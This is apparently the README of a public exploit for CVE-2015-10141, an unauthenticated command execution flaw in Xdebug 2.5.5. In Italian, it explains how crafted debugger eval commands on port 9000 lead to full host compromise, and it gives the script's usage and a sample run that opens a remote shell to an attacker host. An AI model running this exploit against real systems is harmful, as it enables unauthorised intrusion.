CVE-2015-10141

# Exploit Title: xdebug Unauthenticated Command Execution
# Exploit Author: D3Ext
# Vendor Homepage: https://xdebug.org/
# Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows
# Version: 2.5.5
# Tested on: Kali Linux 2025
# CVE: CVE-2015-10141

Spiegazione

Una vulnerabilità di iniezione di comandi OS non autenticata esiste nelle versioni di Xdebug 2.5.5 e precedenti, un'estensione di debugging per PHP. Quando il debugging remoto è abilitato, Xdebug ascolta sulla porta 9000 e accetta comandi del protocollo debugger senza autenticazione. Un utente malintenzionato può inviare un comando eval modificato tramite questa interfaccia per eseguire codice PHP arbitrario, che può invocare funzioni a livello di sistema come system() o passthru(). Ciò comporta il completo compromesso dell'host sotto i privilegi dell'utente del server web.

Utilizzo

usage: CVE-2015-10141.py [-h] -u URL -l LHOST

CVE-2015-10141 - xdebug v2.5.5 RCE Exploit

options:
  -h, --help         show this help message and exit
  -u, --url URL      URL of the target
  -l, --lhost LHOST  LHOST to trigger the RCE

Basta eseguire l'exploit e fornire un URL valido con un file PHP come index.php e l'host locale. Poi l'exploit proverà a stabilire un pseudo-terminale che permette di eseguire comandi da remoto.

python3 exploit.py -u http://10.10.10.83/index.php -l 10.10.16.3